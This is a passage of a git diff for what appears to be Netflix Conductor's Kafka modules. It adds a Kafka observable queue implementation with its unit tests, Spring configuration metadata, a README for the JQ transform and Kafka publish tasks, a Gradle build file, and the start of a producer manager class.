failedAcks.addAll(messages.stream().map(Message::getId).toList()); + } + + return failedAcks; // Return IDs of messages that were not successfully acknowledged + } + + @Override + public void nack(List messages) { + for (Message message : messages) { + try { + kafkaProducer.send( + new ProducerRecord<>(dlqTopic, message.getId(), message.getPayload())); + } catch (Exception e) { + LOGGER.error("Failed to send message to DLQ. Message ID: {}", message.getId(), e); + } + } + } + + @Override + public void publish(List messages) { + for (Message message : messages) { + try { + kafkaProducer.send( + new ProducerRecord<>(topic, message.getId(), message.getPayload()), + (metadata, exception) -> { + if (exception != null) { + LOGGER.error( + "Failed to publish message to Kafka. Message ID: {}", + message.getId(), + exception); + } else { + LOGGER.info( + "Message published to Kafka. Topic: {}, Partition: {}, Offset: {}", + metadata.topic(), + metadata.partition(), + metadata.offset()); + } + }); + } catch (Exception e) { + LOGGER.error( + "Error publishing message to Kafka. Message ID: {}", message.getId(), e); + } + } + } + + @Override + public boolean rePublishIfNoAck() { + return false; + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) { + // Kafka does not support visibility timeout; this can be managed externally if + // needed. + } + + @Override + public long size() { + if (topicExists(this.topic) == false) { + LOGGER.info("Topic '{}' not available, will refresh metadata.", this.topic); + refreshMetadata(this.topic); + } + + long topicSize = getTopicSizeUsingAdminClient(); + if (topicSize != -1) { + LOGGER.info("Topic size for '{}': {}", this.topic, topicSize); + } else { + LOGGER.error("Failed to fetch topic size for '{}'", this.topic); + } + + return topicSize; + } + + private long getTopicSizeUsingAdminClient() { + try { + KafkaFuture topicDescriptionFuture = + adminClient + .describeTopics(Collections.singletonList(topic)) + .topicNameValues() + .get(topic); + + TopicDescription topicDescription = topicDescriptionFuture.get(); + + // Prepare request for latest offsets + Map offsetRequest = new HashMap<>(); + for (TopicPartitionInfo partition : topicDescription.partitions()) { + TopicPartition tp = new TopicPartition(topic, partition.partition()); + offsetRequest.put(tp, OffsetSpec.latest()); + } + + // Fetch offsets asynchronously + KafkaFuture> + offsetsFuture = adminClient.listOffsets(offsetRequest).all(); + + Map offsets = + offsetsFuture.get(); + + // Calculate total size by summing offsets + return offsets.values().stream() + .mapToLong(ListOffsetsResult.ListOffsetsResultInfo::offset) + .sum(); + } catch (ExecutionException e) { + if (e.getCause() + instanceof org.apache.kafka.common.errors.UnknownTopicOrPartitionException) { + LOGGER.warn("Topic '{}' does not exist or partitions unavailable.", topic); + } else { + LOGGER.error("Error fetching offsets for topic '{}': {}", topic, e.getMessage()); + } + } catch (Exception e) { + LOGGER.error( + "General error fetching offsets for topic '{}': {}", topic, e.getMessage()); + } + return -1; + } + + @Override + public void close() { + try { + stop(); + LOGGER.info("KafkaObservableQueue fully stopped and resources closed."); + } catch (Exception e) { + LOGGER.error("Error during close(): {}", e.getMessage(), e); + } + } + + @Override + public void start() { + LOGGER.info("KafkaObservableQueue starting for topic: {}", topic); + if (running) { + LOGGER.warn("KafkaObservableQueue is already running for topic: {}", topic); + return; + } + + try { + running = true; + kafkaConsumer.subscribe( + Collections.singletonList(topic)); // Subscribe to a single topic + LOGGER.info("KafkaObservableQueue started for topic: {}", topic); + } catch (Exception e) { + running = false; + LOGGER.error("Error starting KafkaObservableQueue for topic: {}", topic, e); + } + } + + @Override + public synchronized void stop() { + LOGGER.info("Kafka consumer stopping for topic: {}", topic); + if (!running) { + LOGGER.warn("KafkaObservableQueue is already stopped for topic: {}", topic); + return; + } + + try { + running = false; + + try { + kafkaConsumer.unsubscribe(); + kafkaConsumer.close(); + LOGGER.info("Kafka consumer stopped for topic: {}", topic); + } catch (Exception e) { + LOGGER.error("Error stopping Kafka consumer for topic: {}", topic, e); + retryCloseConsumer(); + } + + try { + kafkaProducer.close(); + LOGGER.info("Kafka producer stopped for topic: {}", topic); + } catch (Exception e) { + LOGGER.error("Error stopping Kafka producer for topic: {}", topic, e); + retryCloseProducer(); + } + } catch (Exception e) { + LOGGER.error("Critical error stopping KafkaObservableQueue for topic: {}", topic, e); + } + } + + private void retryCloseConsumer() { + int attempts = 3; + while (attempts > 0) { + try { + kafkaConsumer.unsubscribe(); + kafkaConsumer.close(); + LOGGER.info("Kafka consumer stopped for topic: {}", topic); + return; // Exit if successful + } catch (Exception e) { + LOGGER.warn( + "Error stopping Kafka consumer for topic: {}, attempts remaining: {}", + topic, + attempts - 1, + e); + attempts--; + try { + Thread.sleep(1000); // Wait before retrying + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + LOGGER.error("Thread interrupted during Kafka consumer shutdown retries"); + break; + } + } + } + LOGGER.error("Failed to stop Kafka consumer for topic: {} after retries", topic); + } + + private void retryCloseProducer() { + int attempts = 3; + while (attempts > 0) { + try { + kafkaProducer.close(); + LOGGER.info("Kafka producer stopped for topic: {}", topic); + return; // Exit if successful + } catch (Exception e) { + LOGGER.warn( + "Error stopping Kafka producer for topic: {}, attempts remaining: {}", + topic, + attempts - 1, + e); + attempts--; + try { + Thread.sleep(1000); // Wait before retrying + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + LOGGER.error("Thread interrupted during Kafka producer shutdown retries"); + break; + } + } + } + LOGGER.error("Failed to stop Kafka producer for topic: {} after retries", topic); + } + + @Override + public String getType() { + return QUEUE_TYPE; + } + + @Override + public String getName() { + return topic; + } + + @Override + public String getURI() { + return "kafka://" + topic; + } + + @Override + public boolean isRunning() { + return running; + } + + public static class Builder { + private final KafkaEventQueueProperties properties; + + public Builder(KafkaEventQueueProperties properties) { + this.properties = properties; + } + + public KafkaObservableQueue build(final String topic, final Properties consumerOverrides) { + Properties consumerConfig = new Properties(); + consumerConfig.putAll(properties.toConsumerConfig()); + + // To handle condutors default COMPLETED and FAILED queues + if (consumerOverrides != null) { + consumerConfig.putAll(consumerOverrides); + } + + LOGGER.debug("Kafka Consumer Config: {}", consumerConfig); + + Properties producerConfig = new Properties(); + producerConfig.putAll(properties.toProducerConfig()); + + LOGGER.debug("Kafka Producer Config: {}", producerConfig); + + Properties adminConfig = new Properties(); + adminConfig.putAll(properties.toAdminConfig()); + + LOGGER.debug("Kafka Admin Config: {}", adminConfig); + + try { + return new KafkaObservableQueue( + topic, consumerConfig, producerConfig, adminConfig, properties); + } catch (Exception e) { + LOGGER.error("Failed to initialize KafkaObservableQueue for topic: {}", topic, e); + throw new RuntimeException( + "Failed to initialize KafkaObservableQueue for topic: " + topic, e); + } + } + } + + private boolean topicExists(String topic) { + try { + KafkaFuture future = + adminClient + .describeTopics(Collections.singletonList(topic)) + .topicNameValues() + .get(topic); + + future.get(); // Attempt to fetch metadata + return true; + } catch (ExecutionException e) { + if (e.getCause() + instanceof org.apache.kafka.common.errors.UnknownTopicOrPartitionException) { + LOGGER.warn("Topic '{}' does not exist.", topic); + return false; + } + LOGGER.error("Error checking if topic '{}' exists: {}", topic, e.getMessage()); + return false; + } catch (Exception e) { + LOGGER.error("General error checking if topic '{}' exists: {}", topic, e.getMessage()); + return false; + } + } + + private void refreshMetadata(String topic) { + adminClient + .describeTopics(Collections.singletonList(topic)) + .topicNameValues() + .get(topic) + .whenComplete( + (topicDescription, exception) -> { + if (exception != null) { + if (exception.getCause() + instanceof + org.apache.kafka.common.errors + .UnknownTopicOrPartitionException) { + LOGGER.warn("Topic '{}' still does not exist.", topic); + } else { + LOGGER.error( + "Error refreshing metadata for topic '{}': {}", + topic, + exception.getMessage()); + } + } else { + LOGGER.info( + "Metadata refreshed for topic '{}': Partitions = {}", + topic, + topicDescription.partitions()); + } + }); + } +} diff --git a/kafka-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/kafka-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..4351cdb --- /dev/null +++ b/kafka-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,27 @@ +{ + "properties": [ + { + "name": "conductor.event-queues.kafka.enabled", + "type": "java.lang.Boolean", + "description": "Enable the use of Kafka implementation to provide queues for consuming events.", + "sourceType": "com.netflix.conductor.kafkaeq.config.KafkaEventQueueConfiguration" + }, + { + "name": "conductor.default-event-queue.type", + "type": "java.lang.String", + "description": "The default event queue type to listen on for the WAIT task.", + "sourceType": "com.netflix.conductor.kafkaeq.config.KafkaEventQueueConfiguration" + } + ], + "hints": [ + { + "name": "conductor.default-event-queue.type", + "values": [ + { + "value": "kafka", + "description": "Use kafka as the event queue to listen on for the WAIT task." + } + ] + } + ] +} \ No newline at end of file diff --git a/kafka-event-queue/src/test/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueueTest.java b/kafka-event-queue/src/test/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueueTest.java new file mode 100644 index 0000000..01ac970 --- /dev/null +++ b/kafka-event-queue/src/test/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueueTest.java @@ -0,0 +1,486 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.kafkaeq.eventqueue; + +import java.lang.reflect.Field; +import java.time.Duration; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; + +import org.apache.kafka.clients.admin.AdminClient; +import org.apache.kafka.clients.admin.DescribeTopicsResult; +import org.apache.kafka.clients.admin.ListOffsetsResult; +import org.apache.kafka.clients.admin.TopicDescription; +import org.apache.kafka.clients.consumer.*; +import org.apache.kafka.clients.producer.*; +import org.apache.kafka.common.KafkaFuture; +import org.apache.kafka.common.TopicPartition; +import org.apache.kafka.common.TopicPartitionInfo; +import org.apache.kafka.common.header.Headers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.ArgumentCaptor; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.kafkaeq.config.KafkaEventQueueProperties; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import rx.Observable; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyCollection; +import static org.mockito.ArgumentMatchers.anyMap; +import static org.mockito.Mockito.*; + +@SuppressWarnings("unchecked") +@RunWith(SpringJUnit4ClassRunner.class) +public class KafkaObservableQueueTest { + + private KafkaObservableQueue queue; + + @Mock private volatile MockConsumer mockKafkaConsumer; + + @Mock private volatile MockProducer mockKafkaProducer; + + @Mock private volatile AdminClient mockAdminClient; + + @Mock private volatile KafkaEventQueueProperties mockProperties; + + @Before + public void setUp() throws Exception { + System.out.println("Setup called"); + // Create mock instances + this.mockKafkaConsumer = mock(MockConsumer.class); + this.mockKafkaProducer = mock(MockProducer.class); + this.mockAdminClient = mock(AdminClient.class); + this.mockProperties = mock(KafkaEventQueueProperties.class); + + // Mock KafkaEventQueueProperties behavior + when(this.mockProperties.getPollTimeDuration()).thenReturn(Duration.ofMillis(100)); + when(this.mockProperties.getDlqTopic()).thenReturn("test-dlq"); + + // Create an instance of KafkaObservableQueue with the mocks + queue = + new KafkaObservableQueue( + "test-topic", + this.mockKafkaConsumer, + this.mockKafkaProducer, + this.mockAdminClient, + this.mockProperties); + } + + private void injectMockField(Object target, String fieldName, Object mock) throws Exception { + Field field = target.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(target, mock); + } + + @Test + public void testObserveWithHeaders() throws Exception { + // Prepare mock consumer records with diverse headers, keys, and payloads + List> records = + List.of( + new ConsumerRecord<>("test-topic", 0, 0, "key-1", "payload-1"), + new ConsumerRecord<>("test-topic", 0, 1, "key-2", "{\"field\":\"value\"}"), + new ConsumerRecord<>("test-topic", 0, 2, null, "null-key-payload"), + new ConsumerRecord<>("test-topic", 0, 3, "key-3", ""), + new ConsumerRecord<>("test-topic", 0, 4, "key-4", "12345"), + new ConsumerRecord<>( + "test-topic", + 0, + 5, + "key-5", + "{\"complex\":{\"nested\":\"value\"}}")); + + // Add headers to each ConsumerRecord + for (int i = 0; i < records.size(); i++) { + ConsumerRecord record = records.get(i); + record.headers().add("header-key-" + i, ("header-value-" + i).getBytes()); + } + + ConsumerRecords consumerRecords = + new ConsumerRecords<>(Map.of(new TopicPartition("test-topic", 0), records)); + + // Mock the KafkaConsumer poll behavior + when(mockKafkaConsumer.poll(any(Duration.class))) + .thenReturn(consumerRecords) + .thenReturn(new ConsumerRecords<>(Collections.emptyMap())); // Subsequent polls + // return empty + + // Start the queue + queue.start(); + + // Collect emitted messages + List found = new ArrayList<>(); + Observable observable = queue.observe(); + assertNotNull(observable); + observable.subscribe(found::add); + + // Allow polling to run + try { + Thread.sleep(1000); // Adjust duration if necessary + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + // Assert results + assertNotNull(queue); + assertEquals(6, found.size()); // Expect all 6 messages to be processed + + assertEquals("0-0", found.get(0).getId()); + assertEquals("0-1", found.get(1).getId()); + assertEquals("0-2", found.get(2).getId()); + assertEquals("0-3", found.get(3).getId()); + assertEquals("0-4", found.get(4).getId()); + assertEquals("0-5", found.get(5).getId()); + + // Validate headers + for (int i = 0; i < records.size(); i++) { + ConsumerRecord record = records.get(i); + assertNotNull(record.headers()); + assertEquals(1, record.headers().toArray().length); + assertEquals( + "header-value-" + i, + new String(record.headers().lastHeader("header-key-" + i).value())); + } + } + + @Test + public void testObserveWithComplexPayload() throws Exception { + // Prepare mock consumer records with diverse headers, keys, and payloads + List> records = + List.of( + new ConsumerRecord<>( + "test-topic", 0, 0, "key-1", "{\"data\":\"payload-1\"}"), + new ConsumerRecord<>("test-topic", 0, 1, "key-2", "{\"field\":\"value\"}"), + new ConsumerRecord<>("test-topic", 0, 2, null, "null-key-payload"), + new ConsumerRecord<>("test-topic", 0, 3, "key-3", ""), + new ConsumerRecord<>("test-topic", 0, 4, "key-4", "12345"), + new ConsumerRecord<>( + "test-topic", + 0, + 5, + "key-5", + "{\"complex\":{\"nested\":\"value\"}}")); + + // Add headers to each ConsumerRecord + for (int i = 0; i < records.size(); i++) { + ConsumerRecord record = records.get(i); + record.headers().add("header-key-" + i, ("header-value-" + i).getBytes()); + } + + ConsumerRecords consumerRecords = + new ConsumerRecords<>(Map.of(new TopicPartition("test-topic", 0), records)); + + // Mock the KafkaConsumer poll behavior + when(mockKafkaConsumer.poll(any(Duration.class))) + .thenReturn(consumerRecords) + .thenReturn(new ConsumerRecords<>(Collections.emptyMap())); // Subsequent polls + // return empty + + // Start the queue + queue.start(); + + // Collect emitted messages + List found = new ArrayList<>(); + Observable observable = queue.observe(); + assertNotNull(observable); + observable.subscribe(found::add); + + // Allow polling to run + try { + Thread.sleep(1000); // Adjust duration if necessary + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + // Assert results + assertNotNull(queue); + assertEquals(6, found.size()); // Expect all 6 messages to be processed + + // Validate individual message payloads, keys, and headers in the structured + ObjectMapper objectMapper = new ObjectMapper(); + // JSON format + for (int i = 0; i < records.size(); i++) { + ConsumerRecord record = records.get(i); + Message message = found.get(i); + + String expectedPayload = + constructJsonMessage( + objectMapper, + record.key(), + record.headers().toArray().length > 0 + ? extractHeaders(record.headers()) + : Collections.emptyMap(), + record.value()); + + assertEquals(expectedPayload, message.getPayload()); + } + } + + private Map extractHeaders(Headers headers) { + Map headerMap = new HashMap<>(); + headers.forEach(header -> headerMap.put(header.key(), new String(header.value()))); + return headerMap; + } + + private String constructJsonMessage( + ObjectMapper objectMapper, String key, Map headers, String payload) { + StringBuilder json = new StringBuilder(); + json.append("{"); + json.append("\"key\":\"").append(key != null ? key : "").append("\","); + + // Serialize headers to JSON, handling potential errors + String headersJson = toJson(objectMapper, headers); + if (headersJson != null) { + json.append("\"headers\":").append(headersJson).append(","); + } else { + json.append("\"headers\":{}") + .append(","); // Default to an empty JSON object if headers are invalid + } + + json.append("\"payload\":"); + + // Detect if the payload is valid JSON + if (isJsonValid(objectMapper, payload)) { + json.append(payload); // Embed JSON object directly + } else { + json.append(payload != null ? "\"" + payload + "\"" : "null"); // Treat as plain text + } + + json.append("}"); + return json.toString(); + } + + private boolean isJsonValid(ObjectMapper objectMapper, String json) { + if (json == null || json.isEmpty()) { + return false; + } + try { + objectMapper.readTree(json); // Parses the JSON to check validity + return true; + } catch (JsonProcessingException e) { + return false; + } + } + + protected String toJson(ObjectMapper objectMapper, Object value) { + if (value == null) { + return null; + } + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + return null; + } + } + + @Test + public void testAck() throws Exception { + Map unacknowledgedMessages = new ConcurrentHashMap<>(); + unacknowledgedMessages.put("0-1", 1L); + injectMockField(queue, "unacknowledgedMessages", unacknowledgedMessages); + + Message message = new Message("0-1", "payload", null); + List messages = List.of(message); + + doNothing().when(mockKafkaConsumer).commitSync(anyMap()); + + List failedAcks = queue.ack(messages); + + assertTrue(failedAcks.isEmpty()); + verify(mockKafkaConsumer, times(1)).commitSync(anyMap()); + } + + @Test + public void testNack() { + // Arrange + Message message = new Message("0-1", "payload", null); + List messages = List.of(message); + + // Simulate the Kafka Producer behavior + doAnswer( + invocation -> { + ProducerRecord record = invocation.getArgument(0); + System.out.println("Simulated record sent: " + record); + return null; // Simulate success + }) + .when(mockKafkaProducer) + .send(any(ProducerRecord.class)); + + // Act + queue.nack(messages); + + // Assert + ArgumentCaptor> captor = + ArgumentCaptor.forClass(ProducerRecord.class); + verify(mockKafkaProducer).send(captor.capture()); + + ProducerRecord actualRecord = captor.getValue(); + System.out.println("Captured Record: " + actualRecord); + + // Verify the captured record matches the expected values + assertEquals("test-dlq", actualRecord.topic()); + assertEquals("0-1", actualRecord.key()); + assertEquals("payload", actualRecord.value()); + } + + @Test + public void testPublish() { + Message message = new Message("key-1", "payload", null); + List messages = List.of(message); + + // Mock the behavior of the producer's send() method + when(mockKafkaProducer.send(any(ProducerRecord.class), any())) + .thenAnswer( + invocation -> { + Callback callback = invocation.getArgument(1); + // Simulate a successful send with mock metadata + callback.onCompletion( + new RecordMetadata( + new TopicPartition("test-topic", 0), // Topic and + // partition + 0, // Base offset + 0, // Log append time + 0, // Create time + 10, // Serialized key size + 100 // Serialized value size + ), + null); + return null; + }); + + // Invoke the publish method + queue.publish(messages); + + // Verify that the producer's send() method was called exactly once + verify(mockKafkaProducer, times(1)).send(any(ProducerRecord.class), any()); + } + + @Test + public void testSize() throws Exception { + // Step 1: Mock TopicDescription + TopicDescription topicDescription = + new TopicDescription( + "test-topic", + false, + List.of( + new TopicPartitionInfo( + 0, null, List.of(), List.of())) // One partition + ); + + // Simulate `describeTopics` returning the TopicDescription + DescribeTopicsResult mockDescribeTopicsResult = mock(DescribeTopicsResult.class); + KafkaFuture mockFutureTopicDescription = + KafkaFuture.completedFuture(topicDescription); + when(mockDescribeTopicsResult.topicNameValues()) + .thenReturn(Map.of("test-topic", mockFutureTopicDescription)); + when(mockAdminClient.describeTopics(anyCollection())).thenReturn(mockDescribeTopicsResult); + + // Step 2: Mock Offsets + ListOffsetsResult.ListOffsetsResultInfo offsetInfo = + new ListOffsetsResult.ListOffsetsResultInfo( + 10, // Mock the offset size + 0, // Leader epoch + null // Timestamp + ); + + ListOffsetsResult mockListOffsetsResult = mock(ListOffsetsResult.class); + KafkaFuture> + mockOffsetsFuture = + KafkaFuture.completedFuture( + Map.of(new TopicPartition("test-topic", 0), offsetInfo)); + when(mockListOffsetsResult.all()).thenReturn(mockOffsetsFuture); + when(mockAdminClient.listOffsets(anyMap())).thenReturn(mockListOffsetsResult); + + // Step 3: Call the `size` method + long size = queue.size(); + + // Step 4: Verify the size is correctly calculated + assertEquals(10, size); // As we mocked 10 as the offset in the partition + } + + @Test + public void testSizeWhenTopicExists() throws Exception { + // Mock topic description + TopicDescription topicDescription = + new TopicDescription( + "test-topic", + false, + List.of(new TopicPartitionInfo(0, null, List.of(), List.of()))); + + // Mock offsets + Map offsets = + Map.of( + new TopicPartition("test-topic", 0), + new ListOffsetsResult.ListOffsetsResultInfo( + 10L, // Offset value + 0L, // Log append time (can be 0 if not available) + Optional.empty() // Leader epoch (optional, use a default value like + // 100) + )); + + // Mock AdminClient behavior for describeTopics + DescribeTopicsResult mockDescribeTopicsResult = mock(DescribeTopicsResult.class); + when(mockDescribeTopicsResult.topicNameValues()) + .thenReturn(Map.of("test-topic", KafkaFuture.completedFuture(topicDescription))); + when(mockAdminClient.describeTopics(anyCollection())).thenReturn(mockDescribeTopicsResult); + + // Mock AdminClient behavior for listOffsets + ListOffsetsResult mockListOffsetsResult = mock(ListOffsetsResult.class); + when(mockListOffsetsResult.all()).thenReturn(KafkaFuture.completedFuture(offsets)); + when(mockAdminClient.listOffsets(anyMap())).thenReturn(mockListOffsetsResult); + + // Call size + long size = queue.size(); + + // Verify + assertEquals(10L, size); + } + + @Test + public void testSizeWhenTopicDoesNotExist() throws Exception { + // Mock KafkaFuture to simulate a topic-not-found exception + KafkaFuture failedFuture = mock(KafkaFuture.class); + when(failedFuture.get()) + .thenThrow( + new org.apache.kafka.common.errors.UnknownTopicOrPartitionException( + "Topic not found")); + + // Mock DescribeTopicsResult + DescribeTopicsResult mockDescribeTopicsResult = mock(DescribeTopicsResult.class); + when(mockDescribeTopicsResult.topicNameValues()) + .thenReturn(Map.of("test-topic", failedFuture)); + when(mockAdminClient.describeTopics(anyCollection())).thenReturn(mockDescribeTopicsResult); + + // Call size + long size = queue.size(); + + // Verify the result + assertEquals(-1L, size); // Return -1 for non-existent topics + } + + @Test + public void testLifecycle() { + queue.start(); + assertTrue(queue.isRunning()); + + queue.stop(); + assertFalse(queue.isRunning()); + } +} diff --git a/kafka/README.md b/kafka/README.md new file mode 100644 index 0000000..5195a41 --- /dev/null +++ b/kafka/README.md @@ -0,0 +1,183 @@ +# Community contributed system tasks + +## Published Artifacts + +Group: `com.netflix.conductor` + +| Published Artifact | Description | +| ----------- | ----------- | +| conductor-task | Community contributed tasks | + +**Note**: If you are using `condutor-contribs` as a dependency, the task module is already included, you do not need to include it separately. + +## JsonJQTransform +JSON_JQ_TRANSFORM_TASK is a System task that allows processing of JSON data that is supplied to the task, by using the +popular JQ processing tool’s query expression language. + + +```json +"type" : "JSON_JQ_TRANSFORM_TASK" +``` +Check the [JQ Manual](https://stedolan.github.io/jq/manual/v1.5/), and the +[JQ Playground](https://jqplay.org/) for more information on JQ, and also +[AI JQ Playground](https://jq.getport.io/) for building JQ with AI. + +### Use Cases + +JSON is a popular format of choice for data-interchange. It is widely used in web and server applications, document +storage, API I/O etc. It’s also used within Conductor to define workflow and task definitions and passing data and state +between tasks and workflows. This makes a tool like JQ a natural fit for processing task related data. Some common +usages within Conductor includes, working with HTTP task, JOIN tasks or standalone tasks that try to transform data from +the output of one task to the input of another. + +### Configuration + +Here is an example of a _`JSON_JQ_TRANSFORM`_ task. The `inputParameters` attribute is expected to have a value object +that has the following + +1. A list of key value pair objects denoted key1/value1, key2/value2 in the example below. Note the key1/value1 are + arbitrary names used in this example. + +2. A key with the name `queryExpression`, whose value is a JQ expression. The expression will operate on the value of + the `inputParameters` attribute. In the example below, the `inputParameters` has 2 inner objects named by attributes + `key1` and `key2`, each of which has an object that is named `value1` and `value2`. They have an associated array of + strings as values, `"a", "b"` and `"c", "d"`. The expression `key3: (.key1.value1 + .key2.value2)` concats the 2 + string arrays into a single array against an attribute named `key3` + +```json +{ + "name": "jq_example_task", + "taskReferenceName": "my_jq_example_task", + "type": "JSON_JQ_TRANSFORM", + "inputParameters": { + "key1": { + "value1": [ + "a", + "b" + ] + }, + "key2": { + "value2": [ + "c", + "d" + ] + }, + "queryExpression": "{ key3: (.key1.value1 + .key2.value2) }" + } +} +``` + +The execution of this example task above will provide the following output. The `resultList` attribute stores the full +list of the `queryExpression` result. The `result` attribute stores the first element of the resultList. An +optional `error` +attribute along with a string message will be returned if there was an error processing the query expression. + +```json +{ + "result": { + "key3": [ + "a", + "b", + "c", + "d" + ] + }, + "resultList": [ + { + "key3": [ + "a", + "b", + "c", + "d" + ] + } + ] +} +``` + +#### Input Configuration + +| Attribute | Description | +| ----------- | ----------- | +| name | Task Name. A unique name that is descriptive of the task function | +| taskReferenceName | Task Reference Name. A unique reference to this task. There can be multiple references of a task within the same workflow definition | +| type | Task Type. In this case, JSON_JQ_TRANSFORM | +| inputParameters | The input parameters that will be supplied to this task. The parameters will be a JSON object of atleast 2 attributes, one of which will be called queryExpression. The others are user named attributes. These attributes will be accessible by the JQ query processor | +| inputParameters/user-defined-key(s) | User defined key(s) along with values. | +| inputParameters/queryExpression | A JQ query expression | + +#### Output Configuration + +| Attribute | Description | +| ----------- | ----------- | +| result | The first results returned by the JQ expression | +| resultList | A List of results returned by the JQ expression | +| error | An optional error message, indicating that the JQ query failed processing | + + +## Kafka Publish Task +A Kafka Publish task is used to push messages to another microservice via Kafka. + +```json +"type" : "KAFKA_PUBLISH" +``` + +### Examples + +Sample Task + +```json +{ + "name": "call_kafka", + "taskReferenceName": "call_kafka", + "inputParameters": { + "kafka_request": { + "topic": "userTopic", + "value": "Message to publish", + "bootStrapServers": "localhost:9092", + "headers": { + "x-Auth":"Auth-key" + }, + "key": "123", + "keySerializer": "org.apache.kafka.common.serialization.IntegerSerializer" + } + }, + "type": "KAFKA_PUBLISH" +} +``` + +The task expects an input parameter named `"kafka_request"` as part +of the task's input with the following details: + +1. `"bootStrapServers"` - bootStrapServers for connecting to given kafka. +2. `"key"` - Key to be published. +3. `"keySerializer"` - Serializer used for serializing the key published to kafka. + One of the following can be set : + a. org.apache.kafka.common.serialization.IntegerSerializer + b. org.apache.kafka.common.serialization.LongSerializer + c. org.apache.kafka.common.serialization.StringSerializer. + Default is String serializer. +4. `"value"` - Value published to kafka +5. `"requestTimeoutMs"` - Request timeout while publishing to kafka. + If this value is not given the value is read from the property + kafka.publish.request.timeout.ms. If the property is not set the value + defaults to 100 ms. +6. `"maxBlockMs"` - maxBlockMs while publishing to kafka. If this value is + not given the value is read from the property kafka.publish.max.block.ms. + If the property is not set the value defaults to 500 ms. +7. `"headers"` - A map of additional kafka headers to be sent along with + the request. +8. `"topic"` - Topic to publish. + +The producer created in the kafka task is cached. By default +the cache size is 10 and expiry time is 120000 ms. To change the +defaults following can be modified +kafka.publish.producer.cache.size, +kafka.publish.producer.cache.time.ms respectively. + +#### Kafka Task Output + +Task status transitions to `COMPLETED`. + +The task is marked as `FAILED` if the message could not be published to +the Kafka queue. \ No newline at end of file diff --git a/kafka/build.gradle b/kafka/build.gradle new file mode 100644 index 0000000..7b748db --- /dev/null +++ b/kafka/build.gradle @@ -0,0 +1,31 @@ +apply plugin: 'groovy' + +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-test' + compileOnly 'org.springframework.boot:spring-boot-starter-web' + compileOnly "org.springframework:spring-web" + + implementation "org.apache.commons:commons-lang3:" + implementation "com.google.guava:guava:${revGuava}" + implementation "javax.ws.rs:jsr311-api:${revJsr311Api}" + implementation "io.reactivex:rxjava:${revRxJava}" + implementation "org.apache.kafka:kafka-clients:${revKafka}" + + testImplementation 'org.springframework.boot:spring-boot-starter-web' + testImplementation "org.testcontainers:mockserver:${revTestContainer}" + testImplementation "org.mock-server:mockserver-client-java:${revMockServerClient}" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + + testImplementation project(':conductor-server') + testImplementation project(':conductor-test-util') + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation "redis.clients:jedis:${revJedis}" +} diff --git a/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManager.java b/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManager.java new file mode 100644 index 0000000..7eccad4 --- /dev/null +++ b/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManager.java @@ -0,0 +1,109 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.tasks.kafka; + +import java.time.Duration; +import java.util.Objects; +import java.util.Properties; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; + +import org.apache.kafka.clients.producer.KafkaProducer; +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.clients.producer.ProducerConfig; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.cache.Cache; +import com.google.common.cache.CacheBuilder; +import com.google.common.cache.RemovalListener; + +@SuppressWarnings("rawtypes") +@Component +public class KafkaProducerManager { + + private static final Logger LOGGER = LoggerFactory.getLogger(KafkaProducerManager.class); + + private final String requestTimeoutConfig; + private final Cache kafkaProducerCache; + private final String maxBlockMsConfig; + + private static final String STRING_SERIALIZER = + "org.apache.kafka.common.serialization.StringSerializer"; + private static final RemovalListener LISTENER = + notification -> { + if (notification.getValue() != null) { 